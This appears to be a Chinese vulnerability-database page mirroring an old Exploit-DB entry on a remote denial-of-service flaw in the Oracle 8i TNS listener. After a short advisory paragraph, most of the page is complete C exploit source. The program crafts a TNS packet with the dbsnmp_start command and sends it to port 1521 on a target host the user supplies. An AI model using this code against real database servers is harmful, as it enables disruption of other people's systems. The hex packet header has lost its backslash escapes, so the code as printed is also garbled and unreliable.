Oracle 8i – dbsnmp Command Remote Denial of Service

Oracle 8i – dbsnmp Command Remote Denial of Service

漏洞ID 1053563 漏洞类型
发布时间 2002-01-17 更新时间 2002-01-17
图片[1]-Oracle 8i – dbsnmp Command Remote Denial of Service-安全小百科CVE编号 N/A
图片[2]-Oracle 8i – dbsnmp Command Remote Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Multiple CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/21232
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/3903/info

Oracle 8i is an enterprise level database solution. It is available on a wide variety of platforms, including many Unix operating systems.

It is possible to cause a denial of service condition in Oracle 8i. If either of the dbsnmp_start or dbsnmp_stop commands are sent remotely to the TNS listener service, a memory error will occur. The Oracle documentation states that these commands should only be used locally.

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,"Ws2_32")
#define PORT 1521

#define buffsize2 buffsize+180
int main(int argc, char *argv[])
{


		char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=dbsnmp_start)";
		char cmd2[]="(VERSION=1)))";
		char head[]="x00x59x00x00x01x00x00x00x01x36"
			"x01x2cx00x00x08x00x7fxffx7fx08x00x00x00x01"
			"x00x1fx00x3ax00x00x00x00x00x00x00x00x00x00"
			"x00x00x00x00x00x00x34xe6x00x00x00x01x00x00"
			"x00x00x00x00x00x00";

		char buffer2[200];
		int ret;
	int packetlength;
	int cmdlength;
	int tt;

	WSADATA WSAData;
	struct hostent          *ht;
	struct sockaddr_in      server;

	printf("Oracle dbsnmp command Remote Vulnerability discoveried by Benjurryn");
	printf("Code by benjurry,[email protected]");
	printf("www.xfocus.org  www.benjurry.orgn");
	if(argc<2)
	{
		printf("useage:%s targetn",argv[0]);
exit(1);
	}
	 tt=sizeof(head);

	packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;


	cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;

	memcpy(buffer2,head,sizeof(head)-1);
	memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
	memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));

	
  
	buffer2[0]=packetlength>> 8;
	buffer2[1]=packetlength & 0xff;
	buffer2[24]=cmdlength>>8;
	buffer2[25]=cmdlength& 0xff;


	


if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
        {
                printf("WSAStartup failed.n");
				tt=GetLastError();
                WSACleanup();
                exit(1);
        }
if((ht = gethostbyname(argv[1]))==0)
{
                printf("Unable to resolve host %sn",argv[1]);
                exit(1);
        } 
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
   if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                printf("Unable to set up socketn");
                exit(1);
        }   

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
        {
                printf("Unable to connectn");
                exit(1);
        }
        else
                printf("Connected.n");
		//if(send(ret, tnsping, 100, 0) == -1)

		if(send(ret, buffer2, packetlength, 0) == -1)
        {
                printf("Unable to sendn");
                exit(1);
        }
        else
        {
                printf("code sented...n");
                
        }
Sleep(1000);
closesocket(ret);
return 0;


}

相关推荐: Mandrake Linux rpmdrake Insecure Temporary File Handling Vulnerability

Mandrake Linux rpmdrake Insecure Temporary File Handling Vulnerability 漏洞ID 1103269 漏洞类型 Race Condition Error 发布时间 2001-04-27 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享